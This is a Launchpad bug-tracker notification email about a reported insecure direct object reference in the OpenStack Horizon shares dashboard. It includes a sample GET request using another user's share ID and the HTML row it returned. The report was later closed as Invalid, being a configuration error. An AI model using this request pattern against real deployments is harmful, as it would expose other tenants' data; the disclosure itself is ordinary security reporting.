Given this has been over a year and a half the reporter acknowledged
they were fixing the configuration error in their environment, and they
haven't responded further to a request for update in that time, I'm
switching the report to public now.

** Information type changed from Private Security to Public

** Changed in: manila
       Status: New => Invalid

-- 
You received this bug notification because you are a member of Yahoo!
Engineering Team, which is subscribed to OpenStack Dashboard (Horizon).
https://bugs.launchpad.net/bugs/1861895

Title:
  IDOR in /dashboard/project/shares/

Status in OpenStack Dashboard (Horizon):
  Invalid
Status in OpenStack Shared File Systems Service (Manila):
  Invalid
Status in manila-ui:
  Invalid
Status in OpenStack Security Advisory:
  Invalid

Bug description:
  Hello, I believe, I found IDOR to some information about other user's
  shares. Not sure if it's a Manila vulnerability, I cound't map this
  horizon endpoint to the one on manila API, hope you can clarify things
  for me.

  Info:
  When sending request to 
/dashboard/project/shares/?action=row_update&table=shares&obj_id=<share_id> , 
an attacker can send other user's ID and disclose information in the response, 
such as Name, Description, Size, Status, Visibility, Protocol, Share Network.

  Request example, where 33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a is id of
  the share which does not belong to me:

  GET 
/dashboard/project/shares/?action=row_update&table=shares&obj_id=33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a
 HTTP/1.1
  Host: <redacted>
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 
Firefox/72.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Connection: close
  Referer: https://<redacted>/dashboard/project/shares/
  Cookie: <redacted>

  Response example:

  HTTP/1.1 200 OK
  ...
  Content-Length: 3027

  <tr class="ajax-update status_up" data-display="File_storage_3498" 
data-display-key="name" data-object-id="33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a" 
data-update-interval="2500" 
data-update-url="/dashboard/project/shares/?action=row_update&amp;table=shares&amp;obj_id=33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a"
 id="shares__row__33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a">
      <td class="multi_select_column"><div class="themable-checkbox"><input 
class="table-row-multi-select" id="e7b9b987-e705-43aa-a605-f8d585e06768" 
name="object_ids" type="checkbox" value="33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a" 
/><label for="e7b9b987-e705-43aa-a605-f8d585e06768"></label></div></td><td 
class="word-break sortable anchor normal_column"><a 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/" 
>File_storage_3498</a></td><td class="sortable normal_column">
              1231
          </td><td class="sortable normal_column"></td><td class="sortable 
normal_column">
              10GiB
          </td><td class="status_up sortable normal_column">
              Available
          </td><td class="sortable normal_column">
              private
          </td><td class="sortable normal_column">
              NFS
          </td><td class="sortable normal_column">
              File_storage_3498_network
          </td><td class="actions_column"><div class="btn-group"><a 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_edit" class="btn 
data-table-action btn-default btn-sm ajax-modal btn-create" 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/update/"> 
Edit Share</a><a class="btn btn-default btn-sm dropdown-toggle" 
data-toggle="dropdown" href="#"><span class="fa fa-caret-down"></span></a><ul 
class="dropdown-menu dropdown-menu-right row_actions"><li><a 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_extend_share" 
class="btn data-table-action ajax-modal btn-create" 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/extend/"> 
Extend Share</a></li><li><a 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_snapshots" 
class="btn data-table-action ajax-modal btn-camera" 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/create_snapshot/">
 Create Snapshot</a></li><li><a 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_manage_rules" 
class="btn data-table-action btn-edit" 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/rules/"> 
Manage Rules</a></li><li><a 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_update_metadata" 
class="btn data-table-action ajax-modal btn-create" 
href="/dashboard/project/shares/33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a/update_metadata/">
 Edit Share Metadata</a></li><li><button data-batch-action="true" 
id="shares__row_33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a__action_delete" 
class="data-table-action btn-danger btn" name="action" help_text="This action 
cannot be undone." type="submit" 
value="shares__delete__33640e7d-cf07-4ae1-b1d9-c51f7ef13f2a"> Delete 
Share</button></li></ul></div></td>
  </tr>

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1861895/+subscriptions


-- 
Mailing list: https://launchpad.net/~yahoo-eng-team
Post to     : [email protected]
Unsubscribe : https://launchpad.net/~yahoo-eng-team
More help   : https://help.launchpad.net/ListHelp

Reply via email to